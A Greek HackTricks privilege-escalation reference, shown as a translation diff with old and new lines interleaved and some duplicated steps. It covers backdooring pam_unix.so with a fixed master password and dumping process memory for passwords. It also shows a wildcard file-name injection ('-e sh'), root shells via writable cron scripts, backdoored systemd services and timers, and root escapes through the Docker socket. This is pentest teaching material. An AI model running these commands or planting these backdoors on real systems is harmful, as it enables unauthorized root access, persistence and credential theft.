**Στόχος**: Τροποποιήστε το PAM για να επιτρέψετε την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό πρόσβασης του χρήστη. Αυτό εστιάζει ιδιαίτερα στη κοινή βιβλιοθήκη `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται σχεδόν σε όλες τις υπηρεσίες για την επαλήθευση κωδικών πρόσβασης.
**Στόχος**: Να τροποποιηθεί το PAM ώστε να επιτρέπει την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό πρόσβασης του χρήστη. Αυτό εστιάζει ιδιαίτερα στη κοινή βιβλιοθήκη `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται σχεδόν από όλες τις υπηρεσίες για την επαλήθευση κωδικών πρόσβασης.
### Βήματα για την Τροποποίηση του `pam_unix.so`:
1. **Εντοπίστε την Κατεύθυνση Αυθεντικοποίησης** στο αρχείο `common-auth`:
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού πρόσβασης ενός χρήστη καλεί το `pam_unix.so`.
2. **Τροποποιήστε τον Πηγαίο Κώδικα**:
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που παραχωρεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά, προχωρά στη συνήθη διαδικασία αυθεντικοποίησης.
3. **Ανασυγκροτήστε και Αντικαταστήστε** τη τροποποιημένη βιβλιοθήκη `pam_unix.so` στον κατάλληλο κατάλογο.
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που θα παραχωρεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά, θα προχωρά στη συνήθη διαδικασία αυθεντικοποίησης.
3. **Επανασυναρμολόγηση και Αντικατάσταση** της τροποποιημένης βιβλιοθήκης `pam_unix.so` στον κατάλληλο κατάλογο.
4. **Δοκιμή**:
- Η πρόσβαση παραχωρείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό πρόσβασης, ενώ οι κανονικές διαδικασίες αυθεντικοποίησης παραμένουν ανεπηρέαστες.
> [!NOTE]
> [!TIP]
> Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,13 +6,13 @@
### OS info
Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει
Ας αρχίσουμε να αποκτούμε κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
### Διαδρομή
Αν έχετε **δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** μπορεί να είστε σε θέση να υποκλέψετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία:
```bash
@ -33,7 +33,7 @@ uname -a
searchsploit "Linux Kernel"
```
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
```bash
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg signature verification failed
Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -125,13 +125,14 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
Αν βρίσκεστε μέσα σε ένα docker container, μπορείτε να προσπαθήσετε να διαφύγετε από αυτό:
{{#ref}}
docker-security/
{{#endref}}
## Drives
Ελέγξτε **τι είναι προσαρτημένο και τι δεν είναι**, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες.
Ελέγξτε **τι είναι τοποθετημένο και τι δεν είναι**, πού και γιατί. Αν κάτι δεν είναι τοποθετημένο, μπορείτε να προσπαθήσετε να το τοποθετήσετε και να ελέγξετε για ιδιωτικές πληροφορίες.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -168,12 +169,12 @@ ps aux
ps -ef
top -n 1
```
Πάντα να ελέγχετε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να ανεβάσετε δικαιώματα](electron-cef-chromium-debugger-abuse.md). **Linpeas** ανιχνεύει αυτά ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διαδικασίας.\
Πάντα να ελέγχετε για πιθανές [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να ανεβάσετε δικαιώματα](electron-cef-chromium-debugger-abuse.md). **Linpeas** ανιχνεύουν αυτά ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διαδικασίας.\
Επίσης **ελέγξτε τα δικαιώματά σας πάνω στα δυαδικά αρχεία των διαδικασιών**, ίσως μπορείτε να αντικαταστήσετε κάποιον.
### Παρακολούθηση διαδικασιών
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
### Μνήμη διαδικασίας
@ -182,11 +183,11 @@ top -n 1
Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**.
> [!WARNING]
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να αποθηκεύσετε άλλες διαδικασίες που ανήκουν στον μη προνομιούχο χρήστη σας.
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διαδικασιών που ανήκουν στον μη προνομιούχο χρήστη σας.
>
> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace:
>
> - **kernel.yama.ptrace_scope = 0**: όλες οι διαδικασίες μπορούν να αποσφαλματωθούν, εφόσον έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing.
> - **kernel.yama.ptrace_scope = 0**: όλες οι διαδικασίες μπορούν να αποσφαλματωθούν, αρκεί να έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing.
> - **kernel.yama.ptrace_scope = 1**: μόνο μια γονική διαδικασία μπορεί να αποσφαλματωθεί.
> - **kernel.yama.ptrace_scope = 2**: Μόνο ο διαχειριστής μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτεί την ικανότητα CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3**: Καμία διαδικασία δεν μπορεί να παρακολουθηθεί με ptrace. Μόλις ρυθμιστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing.
@ -215,7 +216,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης **τα δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης τις **άδειες κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
```bash
procdump()
(
@ -270,7 +271,7 @@ Press Ctrl-C to end monitoring without terminating the process.
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς
- Το Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
### Διαπιστευτήρια από τη Μνήμη Διαδικασίας
@ -288,16 +289,16 @@ strings *.dump | grep -i password
```
#### mimipenguin
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από μερικά **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από ορισμένα **καλά γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
| Χαρακτηριστικό | Όνομα Διαδικασίας |
| -------------------------------------------------- | --------------------- |
| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd |
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
| Χαρακτηριστικό | Όνομα Διαδικασίας |
| ------------------------------------------------- | -------------------- |
| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd |
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -344,11 +345,12 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
Διαβάστε την παρακάτω σελίδα για περισσότερα κόλπα εκμετάλλευσης wildcard:
{{#ref}}
wildcards-spare-tricks.md
{{#endref}}
### Επικάλυψη σεναρίου Cron και symlink
### Επικαλύψεις σεναρίων Cron και symlink
Αν **μπορείτε να τροποποιήσετε ένα σενάριο cron** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα:
```bash
@ -362,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Συχνές cron εργασίες
Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να κλιμακώσετε τα δικαιώματα.
Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κερδίσετε δικαιώματα.
Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
```bash
@ -372,20 +374,20 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Αόρατα cron jobs
Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας ένα χαρακτήρα επιστροφής καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού):
Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας μια επιστροφή καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
## Υπηρεσίες
### Γραφές _.service_ που είναι εγγράψιμες
### Γραφές _.service_ που είναι εγ writable
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** την **πίσω πόρτα σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Για παράδειγμα, δημιουργήστε την πίσω πόρτα σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα
### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγ writable
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με πίσω πόρτες, έτσι ώστε όταν οι υπηρεσίες εκτελούνται ξανά, οι πίσω πόρτες να εκτελούνται.
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται.
### systemd PATH - Σχετικές Διαδρομές
@ -405,7 +407,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
## **Χρονοδιακόπτες**
Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή τα γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα.
Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα.
Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:
```bash
@ -421,10 +423,10 @@ Unit=backdoor.service
> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ομοίως, εκτός από το επίθημα.
Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να:
Επομένως, για να εκμεταλλευτείτε αυτή την άδεια θα χρειαστεί να:
- Βρείτε κάποια μονάδα systemd (όπως μια `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο**
- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτό το εκτελέσιμο)
- Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτή η εκτελέσιμη)
**Μάθετε περισσότερα για τους χρονοδιακόπτες με `man systemd.timer`.**
@ -435,21 +437,21 @@ Unit=backdoor.service
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας έναν symlink σε αυτόν στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
## Sockets
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** σε ίδιες ή διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τα πρότυπα αρχεία περιγραφής Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στην ίδια ή σε διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τα πρότυπα αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
Οι Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`.
**Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές, αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η διεύθυνση IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία.
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία.
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με την **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
### Writable .socket files
@ -475,13 +477,14 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
```
**Παράδειγμα εκμετάλλευσης:**
{{#ref}}
socket-command-injection.md
{{#endref}}
### HTTP sockets
Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με:
Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούνε για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -489,11 +492,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### Γράψιμο Docker Socket
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
#### **Κλιμάκωση Δικαιωμάτων με Docker CLI**
Αν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -538,7 +541,8 @@ Upgrade: tcp
Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το παραβιάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Δείτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο:
Ελέγξτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο:
{{#ref}}
docker-security/
@ -548,6 +552,7 @@ docker-security/
Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`ctr`** διαβάστε την παρακάτω σελίδα καθώς **μπορεί να μπορείτε να την κακοποιήσετε για να κλιμακώσετε τα δικαιώματα**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
@ -556,21 +561,22 @@ containerd-ctr-privilege-escalation.md
Αν διαπιστώσετε ότι μπορείτε να χρησιμοποιήσετε την εντολή **`runc`** διαβάστε την παρακάτω σελίδα καθώς **μπορεί να μπορείτε να την κακοποιήσετε για να κλιμακώσετε τα δικαιώματα**:
{{#ref}}
runc-privilege-escalation.md
{{#endref}}
## **D-Bus**
Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
